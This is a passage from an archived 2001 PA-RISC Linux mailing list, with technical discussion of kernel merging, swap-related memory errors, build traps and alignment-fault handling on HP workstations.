105*4kB 48*8kB 35*16kB 14*32kB 9*64kB 6*128kB 3*256kB 2*512kB 3*1024kB
54*2048kB = 118612kB)
= 0kB)
= 0kB)
Swap cache: add 0, delete 0, find 0/0
Free swap:            0kB
32768 pages of RAM
1223 reserved pages
296 pages shared
0 pages swap cached
Buffer memory:     2372kB

>From now on I can'not get anything out of the system without a
reboot.  Sometimes it recovers, sometimes not.  I tried to get as much
information as possible with sysrequests.  Would additional information be
usefull, if so what?  This has only happened on nfs filesystems, as I have
no local filesystems yet.
	Nick





From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to merge Kernel 2.4.9 for hppa and new
	kernel 2.4.10
Date: Wed, 26 Sep 2001 08:16:49 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <sbb19279.048@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620517 26154 80.91.229.3 (22 Nov 2014 01:41:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:57 +0000 (UTC)
Cc: <JSO@EUROPAY.COM>
To: <joel.soete@freebel.net>, <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 00:33:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 468634834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 00:33:49 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id IAA27732 for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 08:33:47 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma027412; Wed, 26 Sep 01 08:32:18 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Wed, 26 Sep 2001 08:31:53 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12301

>Hi all,
>
>I just learn that new release 2.4.10 of GNU/linux kernel was released.
>I am curious to know how to merge last kernel 2.4.9-paxx and the new
>2.4.10?
>Is somebody can explain me or where to find relevant info?
>

- get a plain 2.4.9 source tree
- make a diff between 2.4.9-paxx and 2.4.9
- download the 2.4.9-2.4.10 diff
- apply to the 2.4.9 sourcetree and create a 2.4.10 sourcetree
- apply 2.4.9-paxx diff to 2.4.10

which should all be straight-forward, but then
- solve all the .rej files that are created, and debug the new kernel

which is something I wouldn't want to do :-)

If you read the linux-kernel mailing list, you'll see that some people =
claim=20
2.4.10 is the best thing since sliced bread, but the first serious VM =
problems
have been sighted already, so upgrading right away is risky.

Eventually, it'll be in the CVS at puffin.external.hp.com. Until then, the =
best
thing to do is wait, unless you have the capabilities to debug the last =
step.
If so, I think there are other things to get your teeth in - just ask =
here.

Good luck,
Jurriaan







From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: [parisc-linux] HP C180
Date: Wed, 26 Sep 2001 08:56:08 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <sbb19d1e.060@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620518 26157 80.91.229.3 (22 Nov 2014 01:41:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:58 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>, <nick@snowman.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 01:19:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2209A482B
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 01:19:01 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id JAA02453 for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 09:18:59 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma002226; Wed, 26 Sep 01 09:17:42 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Wed, 26 Sep 2001 09:17:18 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12302

>My c180 is now happily booting (current CVS kernel), however whenever I
>try to ls some dirs (no all, this example is from /usr/bin) I get errors
>along these lines
>ls: memory exhausted
>init-2.04# ls ap*
>Swap cache: add 0, delete 0, find 0/0
>Free swap:            0kB

The 2.4.9 kernel really needs swap, or so I've read on the linux-kernel =
mailing list.
You should add some swap. 2* [size of main memory] is a safe amount.
It's considered a bug, but it needs swap even if there is free memory.....

Good luck,
Jurriaan





From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] Trace/breakpoint trap
Date: Wed, 26 Sep 2001 10:52:55 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <20010926105255.A16693@hp.is>
References: <sbb18da2.041@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620518 26159 80.91.229.3 (22 Nov 2014 01:41:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 04:53:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 577C4482B
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 04:52:59 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8QAquM20215;
	Wed, 26 Sep 2001 10:52:56 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <sbb18da2.041@ms-zrt1>; from Jurriaan.Kalkman@zrt.nl on Wed, Sep 26, 2001 at 08:05:23AM +0200
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12303

On Wed, Sep 26, 2001 at 08:05:23AM +0200, Jurriaan Kalkman wrote:

> I have exactly the same on my C200+, since 2.4.9-<who knows>, but it went
> away when I didn't compile the kernel for PA8x00, but for the default value
> of PA7100. That means it may be something in the kernel, or some gcc bug.
> In my case, a 'make mrproper' in the kernel source directory triggered it.
> 
> I have posted it to this list, some weeks ago (under much the same subject).
> 
> Perhaps recompiling your kernel also fixes it?

LOL! :)  

bofh:~# cd /usr/src/linux 
bofh:/usr/src/linux# make menuconfig
Trace/breakpoint trap

Mmm :)    The .config I used contains:

CONFIG_PARISC=y
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_GSC=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_WAX_EISA=y
CONFIG_SUPERIO=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_PCI_NAMES=y
CONFIG_CHASSIS_LCD_LED=y


Im going to try this.   I'll simply get rid of CONFIG_PA8X00 and CONFIG_PA20.

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] Trace/breakpoint trap
Date: Wed, 26 Sep 2001 10:57:57 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20010926105757.B16693@hp.is>
References: <sbb18da2.041@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620518 26165 80.91.229.3 (22 Nov 2014 01:41:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 04:58:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10439482B
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 04:58:00 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8QAvvL20227;
	Wed, 26 Sep 2001 10:57:57 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <sbb18da2.041@ms-zrt1>; from Jurriaan.Kalkman@zrt.nl on Wed, Sep 26, 2001 at 08:05:23AM +0200
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12304

On Wed, Sep 26, 2001 at 08:05:23AM +0200, Jurriaan Kalkman wrote:

> Perhaps recompiling your kernel also fixes it?

Damn...    I edited .config by hand, but Im still in a damn mess.

bofh:/usr/src/linux# make clean
Trace/breakpoint trap
bofh:/usr/src/linux# make oldconfig
Trace/breakpoint trap
bofh:/usr/src/linux# make dep
Trace/breakpoint trap


bofh:/usr/src/linux# cat /etc/palo.conf
# obsolete with palo-0.94 # --bootloader=/boot/iplboot
--commandline=2/vmlinux-2.4.9 root=/dev/sda4 HOME=/
--recoverykernel=/boot/vmlinux-2.4.0
--init-partitioned=/dev/sda

bofh:/usr/src/linux# ls -l /boot
total 7083
-rw-r--r--    1 root     root       593072 Sep 21 15:04 System.map-2.4.0
-rw-r--r--    1 root     disk       561861 Sep 21 21:12 System.map-2.4.9
-rw-r--r--    1 root     root         3949 Sep 21 15:04 config-2.4.0
drwxr-xr-x    2 root     root        12288 Sep 21 15:02 lost+found
-rw-r--r--    1 root     root      2853588 Sep 21 15:04 vmlinux-2.4.0
-rwxr-xr-x    1 root     disk      3191078 Sep 21 21:12 vmlinux-2.4.9


I still have the old kernel in there. How do I get palo to boot it ?


-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The 720/50 saga continues...
Date: Wed, 26 Sep 2001 14:27:38 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <20010926142738.B20697@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Qxx1br4bt0+wmkIi"
X-Trace: ger.gmane.org 1416620519 26169 80.91.229.3 (22 Nov 2014 01:41:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 06:29:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1564482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 06:29:28 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15mDoV-0005Tl-00
	for parisc-linux@lists.parisc-linux.org; Wed, 26 Sep 2001 14:29:19 +0200
Original-Received: (qmail 11220 invoked from network); 26 Sep 2001 12:29:19 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 26 Sep 2001 12:29:19 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15mDms-0005O0-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 14:27:38 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15mDoV-0005Tl-00*AumSsJpqgmI* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12305

--Qxx1br4bt0+wmkIi
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

A long time ago, in a galaxy far, far away...

I booted my 720/50 from a lifimage with a nfsroot... and it worked, or
something. :-)

I modified the woody debootstrap script a bit to create a new nfsroot
(basically I ripped out the running of any binaries in the chroot), and
ran in on my i386. That worked pretty well.

Next up, I added an init=/bin/sh to the palo kernel command line
parameters, and rbootd'd the make palo lifimage. Whooo, prompt! So
first, mount proc, next remount the nfsroot rw, and then run
/sbin/ldconfig. Looking good...

Next rather annoying problem: ls reports "Invalid instruction" whenever
you try to run it. cat works, mount works... I haven't had much time to
test anything else.

I also attempted a dpkg-reconfigure --all, but it seems to be missing
Term::ReadLine. I'll be able to work some more on Friday. Hopefully dpkg
will do the trick, but if not, dpkg-cross might...?

Any ideas on the ls problem?

Regards,

Albert

--Qxx1br4bt0+wmkIi
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7scm5Dg+hOeRZtkMRAqkZAJ95d5j9Q5unNeIdcHbZkn/gEbR/5QCfdYlD
JZAlwjIvmGmbmUqk64OfbIc=
=AJsZ
-----END PGP SIGNATURE-----

--Qxx1br4bt0+wmkIi--




From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The 720/50 saga continues...
Date: Wed, 26 Sep 2001 15:27:22 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109261524001.14785-100000@www2.scram.de>
References: <20010926142738.B20697@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620519 26174 80.91.229.3 (22 Nov 2014 01:41:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:59 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 07:27:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADAAD4925
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 07:27:44 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8QDROi11091;
	Wed, 26 Sep 2001 15:27:24 +0200 (CEST)
In-Reply-To: <20010926142738.B20697@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12306

Hi Albert,

> Next rather annoying problem: ls reports "Invalid instruction" whenever
> you try to run it. cat works, mount works... I haven't had much time to
> test anything else.

So, ls triggers a real alignment problem which is now, due to the
fallthrouth to case 26, handled by the paging code...

As a temporary solution, i just copies the busybox from the installation
disk (which does not suffer from the same problem) and linked it to ls,
tar and sleep (being the userspace tools that trapped for me) which
allowed me to get a mostly working system up and running...

Now going to fix the real problem, on how to decide in the case 18 handler
if the trap is caused by a page fault or an alignment fault.

Cheers,
Jochen





From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The 720/50 saga continues...
Date: Wed, 26 Sep 2001 15:52:09 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20010926155209.D20697@dogbert.localdomain>
References: <20010926142738.B20697@dogbert.localdomain> <Pine.NEB.4.33.0109261524001.14785-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="GRPZ8SYKNexpdSJ7"
X-Trace: ger.gmane.org 1416620519 26183 80.91.229.3 (22 Nov 2014 01:41:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 08:04:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CCFE4837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 08:04:56 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15mFDo-0001Me-00
	for parisc-linux@lists.parisc-linux.org; Wed, 26 Sep 2001 15:59:33 +0200
Original-Received: (qmail 11326 invoked from network); 26 Sep 2001 13:52:51 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 26 Sep 2001 13:52:51 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15mF6f-0005Om-00; Wed, 26 Sep 2001 15:52:09 +0200
Content-Disposition: inline
In-Reply-To: <Pine.NEB.4.33.0109261524001.14785-100000@www2.scram.de>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15mFDo-0001Me-00*2fFBHvTREi2* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12307

--GRPZ8SYKNexpdSJ7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

On Wed, 26 Sep 2001, Jochen Friedrich wrote:

> Now going to fix the real problem, on how to decide in the case 18 handler
> if the trap is caused by a page fault or an alignment fault.

I presume this involves some PA-RISC assembly, and other kernel tricks.
Is there anything "normal users" can to help with this process?

Regards,

Albert

--GRPZ8SYKNexpdSJ7
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7sd2IDg+hOeRZtkMRAo8WAJ9Jm9NoUDFFANx+NScfzLZRhi20CwCaAuIa
eTFLQ6S4QPrRCrSLfULMAHQ=
=/VoT
-----END PGP SIGNATURE-----

--GRPZ8SYKNexpdSJ7--




From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The 720/50 saga continues...
Date: Wed, 26 Sep 2001 10:47:07 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <200109261447.KAA04593@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620520 26185 80.91.229.3 (22 Nov 2014 01:42:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 08:47:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23AEF4837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 08:47:24 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id KAA04593
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 10:47:07 -0400
Content-ID: <4571.1001515626.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12308

> So, ls triggers a real alignment problem which is now, due to the
> fallthrouth to case 26, handled by the paging code...
> 
> As a temporary solution, i just copies the busybox from the installation
> disk (which does not suffer from the same problem) and linked it to ls,
> tar and sleep (being the userspace tools that trapped for me) which
> allowed me to get a mostly working system up and running...
> 
> Now going to fix the real problem, on how to decide in the case 18 handler
> if the trap is caused by a page fault or an alignment fault.
> 
> Cheers,
> Jochen

I am probably very naive :-), but shouldn't it be possible to figure out,
whether or not this is an unaligned access trap by just looking at the 
offending instruction and the address it is referencing? If, for example, 
it's a word load/store instruction and the address is not word-aligned,
then we call handle_unaligned, otherwise - do_page_fault. The only (hopefully)
problem arises if the load/store instruction generates BOTH page fault and
unaligned access traps. I have no idea, what happens then, but probably
one has to call do_page_fault first. If it's a not-so-often happening situation,
we could get away just by reusing some of the existing code.

Best regards,

Jurij.







From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The 720/50 saga continues...
Date: Wed, 26 Sep 2001 16:59:02 +0200 (CEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109261656110.14785-100000@www2.scram.de>
References: <200109261447.KAA04593@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620520 26196 80.91.229.3 (22 Nov 2014 01:42:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:00 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 08:59:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id B887B4837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 08:59:12 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8QEx3i12186;
	Wed, 26 Sep 2001 16:59:04 +0200 (CEST)
In-Reply-To: <200109261447.KAA04593@mail.lokmail.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12309

Hi Jurij,

> I am probably very naive :-), but shouldn't it be possible to figure out,
> whether or not this is an unaligned access trap by just looking at the
> offending instruction and the address it is referencing?

Maybe i'm naive, but wouldn't it be easier to check if the page being
addressed is in memory and if yes assume an assignment fault and if no
assume a pgae fault? IMHO, this would even fix the problem of having a
non-aligned access to a non-mapped address as the trap would first load
the address into memory than repeat the access, cause a second trap which
will be interpreted as a alignment trap the second time.

Cheers,
Jochen





From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Soete Joel <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to merge Kernel 2.4.9 for hppa and newkernel 
 2.4.10
Date: Wed, 26 Sep 2001 15:47:35 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <3BB1F897.F11FCE7E@freebel.net>
References: <sbb19279.047@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620520 26197 80.91.229.3 (22 Nov 2014 01:42:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 09:42:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 594FC4837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 09:42:10 -0600 (MDT)
Original-Received: from ppp-151-43-069.tiscalinet.be ([213.151.43.70] helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 15mGp0-0002Pp-00; Wed, 26 Sep 2001 17:42:03 +0200
Original-Sender: jso@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9-evms-0.2.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12310

Jurriaan,

Jurriaan Kalkman wrote:
> 
> >Hi all,
> >
> >I just learn that new release 2.4.10 of GNU/linux kernel was released.
> >I am curious to know how to merge last kernel 2.4.9-paxx and the new
> >2.4.10?
> >Is somebody can explain me or where to find relevant info?
> >
> 
> - get a plain 2.4.9 source tree
> - make a diff between 2.4.9-paxx and 2.4.9
> - download the 2.4.9-2.4.10 diff
> - apply to the 2.4.9 sourcetree and create a 2.4.10 sourcetree
> - apply 2.4.9-paxx diff to 2.4.10
> 
> which should all be straight-forward, but then
> - solve all the .rej files that are created, and debug the new kernel

Actually I was not so far from the solution; I start this method
(basicaly on vger cvs 2.4.10-prexx) and I just miss the last two steps.
Thanks a lot.

> 
> which is something I wouldn't want to do :-)
> 
> If you read the linux-kernel mailing list, you'll see that some people claim
> 2.4.10 is the best thing since sliced bread, but the first serious VM problems
> have been sighted already, so upgrading right away is risky.
> 
> Eventually, it'll be in the CVS at puffin.external.hp.com. Until then, the best
> thing to do is wait, unless you have the capabilities to debug the last step.
> If so, I think there are other things to get your teeth in - just ask here.

Ok, I am far to have enough kernel knowledge (just a bit c) to begin
this job alone. Also I will follow your advise and wait it puffin CVS.

> 
> Good luck,
> Jurriaan

Anyway It could also be helpfull for any other project.

Thanks again,
	Joel




From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: [parisc-linux] HP C180
